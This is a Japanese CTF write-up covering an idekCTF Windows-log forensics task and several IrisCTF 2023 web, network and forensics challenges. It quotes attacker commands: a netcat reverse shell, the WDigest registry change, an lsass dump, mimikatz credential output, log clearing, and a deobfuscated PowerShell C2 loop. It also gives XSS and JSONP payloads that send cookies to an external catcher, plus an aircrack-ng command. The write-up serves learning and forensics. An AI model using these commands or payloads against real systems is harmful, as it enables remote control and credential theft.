$e"},{"@Name":"CurrentDirectory","#text":"C:\\Users\\IEUser\\Documents\\"},{"@Name":"User","#text":"IEWIN7\\IEUser"},{"@Name":"LogonGuid","#text":"0df7607b-be4a-63b9-0f58-040000000000"},{"@Name":"LogonId","#text":"0x4580F"},{"@Name":"TerminalSessionId","#text":"1"},{"@Name":"IntegrityLevel","#text":"High"},{"@Name":"Hashes","#text":"SHA256=DB06C3534964E3FC79D2763144BA53742D7FA250CA336F4A0FE724B75AAFF386"},{"@Name":"ParentProcessGuid","#text":"0df7607b-be7a-63b9-4800-000000001d00"},{"@Name":"ParentProcessId","#text":"4036"},{"@Name":"ParentImage","#text":"C:\\Program Files\\Microsoft Office\\Office15\\EXCEL.EXE"},{"@Name":"ParentCommandLine","#text":"\"C:\\Program Files\\Microsoft Office\\Office15\\EXCEL.EXE\" /dde"},{"@Name":"ParentUser","#text":"IEWIN7\\IEUser"}]}}

ふむ。ユーザーをIEWIN7\IEUserに絞ってみてみよう。
たくさんきな臭いコマンドが実行されている

リバースシェル張ってる
"C:\Users\IEUser\AppData\Local\Temp\SecurityUpdate.exe" 172.21.20.96 4444 -e cmd.exe

まずは調査
whoami
arp -a
ipconfig /all

https://gblogs.cisco.com/jp/2022/09/talos-lazarus-three-rats/
資格情報を平文で保存させるよう強制してあとで回収するためのコマンド
REG   ADD HKLM\SYSTEM\CurrentControlSet\Control\SecurityProviders\WDigest /v UseLogonCredential /t REG_DWORD /d 1

変名しているが、lsassのメモリダンプだろう。
C:\Windows\System32\UpdateAgent.exe  -accepteula -ma lsass.exe C:\Windows\System32\error

不明だが、怪しすぎる
2023-01-07 18:51:43 | C:\Windows\System32\mimikatz.exe
rundll32 C:\Windows\system32\generaltel.dll,RunInUserCxt DSkyyRXNN0SeFNpE.1   Census

バックドア作成。Usersをみてもnetadminは無いので、使われなかったっぽい?
net  user netadmin S3cr3tpa5sw0rD /add

ログ削除
2023-01-07 18:51:56 | wevtutil  cl Security

なんだっけ
rdpclip

~~~~

2023-01-07 19:03:03 | FTKImagerとかKAPEとかでアーティファクト収集している

これだけか。
ハッシュ確認しておく。

3dc5fdf62992e1bd1ab84e05d8e21765667315525d687b3900936dff32bd9de9  error.dmp  
    https://www.virustotal.com/gui/file/3dc5fdf62992e1bd1ab84e05d8e21765667315525d687b3900936dff32bd9de9  
    2023-01-14 03:54:18 UTCに上がってる笑  
61c0810a23580cf492a6ba4f7654566108331e7a4134c968c2d6a05261b2d8a1  mimikatz.exe  
    https://www.virustotal.com/gui/file/61c0810a23580cf492a6ba4f7654566108331e7a4134c968c2d6a05261b2d8a1  
    普通にmimikatz  
3e59379f585ebf0becb6b4e06d0fbbf806de28a4bb256e837b4555f1b4245571  SecurityUpdate.exe  
    https://www.virustotal.com/gui/file/3e59379f585ebf0becb6b4e06d0fbbf806de28a4bb256e837b4555f1b4245571  
    セキュリティベンダの判定ではnetcatという線が優勢。呼び出され方やサイズを見てもnetcatっぽい  
5b165b01f9a1395cae79e0f85b7a1c10dc089340cf4e7be48813ac2f8686ed61  UpdateAgent.exe  
    https://www.virustotal.com/gui/file/5b165b01f9a1395cae79e0f85b7a1c10dc089340cf4e7be48813ac2f8686ed61  
    procdump

特に他にイベントログに何もない。
error.dmpをmimikatzで開いてみる。

.\mimikatz.exe

  .#####.   mimikatz 2.2.0 (x64) #18362 Feb 29 2020 11:13:36
 .## ^ ##.  "A La Vie, A L'Amour" - (oe.eo)
 ## / \ ##  /*** Benjamin DELPY `gentilkiwi` ( benjamin@gentilkiwi.com )        
 ## \ / ##       > http://blog.gentilkiwi.com/mimikatz
 '## v ##'       Vincent LE TOUX             ( vincent.letoux@gmail.com )       
  '#####'        > http://pingcastle.com / http://mysmartlogon.com   ***/       

mimikatz # sekurlsa::minidump ../../error.dmp   
Switch to MINIDUMP : '../../error.dmp'

mimikatz # sekurlsa::logonpasswords
Opening : '../../error.dmp' file for minidump...

Authentication Id : 0 ; 284687 (00000000:0004580f)
Session           : Interactive from 1
User Name         : IEUser
Domain            : IEWIN7
Logon Server      : IEWIN7
Logon Time        : 2023/01/08 3:47:38
SID               : S-1-5-21-1610009768-122519599-941061767-1000
        msv :
         [00010000] CredentialKeys
         * NTLM     : 022156166aa2ab0ce4de16a45098d745
         * SHA1     : ece4d499be6e18ebf42225da680e702abf639db3
         [00000003] Primary
         * Username : IEUser
         * Domain   : IEWIN7
         * NTLM     : 022156166aa2ab0ce4de16a45098d745
         * SHA1     : ece4d499be6e18ebf42225da680e702abf639db3
        tspkg :
        wdigest :
         * Username : IEUser
         * Domain   : IEWIN7
         * Password : idek{crEDentia
        kerberos :
         * Username : IEUser
         * Domain   : IEWIN7
         * Password : (null)
        ssp :
        credman :

...

wdigestの平文パスワードが取れている!なるほどね。

IEWIN7\IEUser:idek{crEDentia
IEWIN7\sshd_server:D@rj33l1ng

以上の認証情報が手に入る。まだ、フラグの先頭か…
とりあえず攻撃者はsshd_serverに横展開可能になったということみたいなので、こっちのユーザーでもうちょっと捜査してみる。

sysmonのoperationalを見てみると、3回接続履歴がある。

  • 2023-01-07 18:46:53
  • 2023-01-07 19:00:40
  • 2023-01-07 20:17:41

最後の1つはFTK Imagerが使われた後なので関係無しと判断して、2回接続履歴がある。

…うーん。分からず。
終了後のDiscordを見ると、powershellの実行内容についてログが残っているので、それを解析すればいいようだ。
ちゃんと全部イベントログを見るべきだったか…?と思ったが、試しにhayabusaを使ってみるとmedで検知されてきた。
こっち使えば良かったな…

2023-01-08 03:50:09.349 +09:00,IEWIN7,PwSh,4104,med,13,Potentially Malicious PwSh,"ScriptBlock: & ( $sHEllid[1]+$sheLLiD[13]+'X')( NEW-obJEct Io.cOMPReSSiON.DEFlAteStrEAM( [SyStem.iO.mEMOrySTream] [SysteM.cOnVerT]::FRomBase64STRINg( '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' ) , [sySteM.IO.ComprESsiON.cOmpresSiONMODe]::dEcomPrEss)|fOReach-OBJECt{NEW-obJEct iO.sTReAMrEAder( $_ , [TExT.EncOdiNg]::AscIi)} | fOREacH-obJeCt{$_.reADToend( )})"

頑張って難読化解除すると

$bwqvRnHz99 = (104,116,116,112,115,58,47,47,112,97,115,116,101);
$bwqvRnHz99 += (98,105,110,46,99,111,109,47,104,86,67,69,85,75,49,66);
$flag = [System.Text.Encoding]::ASCII.GetString($bwqvRnHz99);
$s='172.21.20.96:8080';
$i='eef8efac-321d465e-e9d053a7';
$p='http://';
$v=Invoke-WebRequest -UseBasicParsing -Uri $p$s/eef8efac -Headers @{"X-680d-47e8"=$i};
while ($true){$c=(Invoke-WebRequest -UseBasicParsing -Uri $p$s/321d465e -Headers @{"X-680d-47e8"=$i}).Content;
if ($c -ne 'None') {$r=iex $c -ErrorAction Stop -ErrorVariable e;
$r=Out-String -InputObject $r;
$t=Invoke-WebRequest -Uri $p$s/e9d053a7 -Method POST -Headers @{"X-680d-47e8"=$i} -Body ([System.Text.Encoding]::UTF8.GetBytes($e+$r) -join ' ')} sleep 0.8}

のような感じになり、$flagにpastebinのURLが入っているので、アクセスするとフラグが書いてある。

IrisCTF 2023 Writeups

[web] babycsrf

jsonpでフラグが落ちてくるendpointがあるので、その中身を回収するようなxssサイトを書いてやる。
提供コードを参考にして、以下のように書く。
https://babycsrf-web.chal.irisc.tf/apiを取得するときは、オリジンはbabycsrfのものになるので適切なCookieが使用される。
(俗にいう3rd party cookie
jsonpで読み込めば、オリジンをまたいでデータを参照可能なので、あとは適当に外部送信してやればいい。

<!DOCTYPE html>
<html>
    <body>
        <script>
window.setMessage = (m) => {
    window.location.href='https://[yours].requestcatcher.com/test?get='+m;
}
window.onload = () => {
    s = document.createElement("script");
    s.src = "https://babycsrf-web.chal.irisc.tf/api";
    document.body.appendChild(s);
}
        </script>
    </body>
</html>

[web] babystrechy

https://www.php.net/manual/en/function.password-hash.php
PASSWORD_BCRYPTをアルゴリズムとして 使用すると、passwordパラメーターが最大長の 72 バイトに切り捨てられます。

これは使えそう。
hexの各文字が64倍にされているが、先頭の72文字しか使われていないので、[1文字目]*64+[2文字目]*8のような構成になっている。
1文字目と2文字目は[0-9a-f]なので、全探索が可能。
しかも複数個送れるので以下のようにして全通りを辞書として作って一気に送ってやればいい。

<?php
$chars = "0123456789abcdef";
for ($i=0; $i<16; $i++) {
    for ($j=0; $j<16; $j++) {
        $pass = str_repeat($chars[$i],64) . str_repeat($chars[$j], 8);
        echo $pass . "\n";
    }
}

全部一気に送り付けるとフラグが出てくる。

[web] Feeling Tagged

BeautifulSoupを使ってサニタイズ機能を実装している。
適当にbypassできそうなコードを探して試すとたまたま通った。

<![CDATA["><script>alert("XSS")</script><!--]]>

あとはXSSするだけ。
fetch(https://[yours].requestcatcher.com/test${document.cookie});
をalertの代わりに入れて、/page?のアドレスを踏ませればフラグが得られる。

[network] babyshark

とりあえずプロトコル階層を出してみるとCompuserve GIFというのがあるので、エキスパート解析でHTTPを選んでみる。
babyshark.gifという画像があるので、取り出してみてみるとフラグが書いてある。
サメちゃんが踊っている。

[network] wi-the-fi

aircrackしてみるとパスワードが手に入る
aircrack-ng -w /usr/share/wordlists/rockyou.txt ./BobertsonNet.cap

      Time left: 23 minutes, 7 seconds                           0.13%

                           KEY FOUND! [ billybob1 ]

これを以下にあるような感じで設定に入れると通信が復号化される。
https://anilcelik.medium.com/en-defcon-27-advanced-wireless-exploitation-workshop-ctf-write-up-f787b0899256

この状態でプロトコル階層統計を見ると、いろいろ通信がわかるようになる。
TCPで流れているものを漁っていくと、20422番目のパケットにフラグがあった。

[forensics] babyforens

画像から以下の情報を抜き出して、
irisctf{latitude_longitude_epochtime_serial_secret}
の形で答える必要がある。

緯度経度

exiftoolでの出力を変換すればいい。

GPS Latitude                    : 37 deg 44' 49.46" N
GPS Longitude                   : 119 deg 35' 46.77" W

37.74707222
-119.59632500
っぽいので、

37.74_-119.59

epochtime

作成時間を変換すればいいのかな?exiftoolで同様にみられる。

Create Date                     : 2022:08:27 10:04:56

撮影場所はアメリカのカリフォルニアであることもexiftoolから分かる。
ここは検索するとGMT-8らしい。
つまり、2022:08:27 10:04:56 (GMT-8)
なので、UTCに直すには+8時間してやる必要がある。
つまり、2022:08:27 18:04:56 (GMT+0)
これをepochtimeにすると、1661623496だが、ダメ。うーん。

もしかして時期的にサマータイム????

さらに-1時間したら正解だった。
つまり、2022:08:27 17:04:56 (GMT+0)をepochtimeにした1661619896が正解。

serial

これもexiftoolで見る。

$ exiftool IMG_0917.jpg | grep Serial
Internal Serial Number          : RL2218903
Serial Number                   : 392075057288
Lens Serial Number              : 0000000000

いくつかあるが、Serial Numberが答え。

secret

secret???
問題文を見るとわざとファイルを壊してあるらしい。
普通のjpgをバイナリエディタを使って比較してみると、先頭が一部0埋めされていた。
先頭10バイトをFF D8 FF E0 00 10 4A 46 49 46のように戻してやると普通にみられるようになる。
secretの内容が書いてあった。
exif_data_can_leak_a_lot_of_info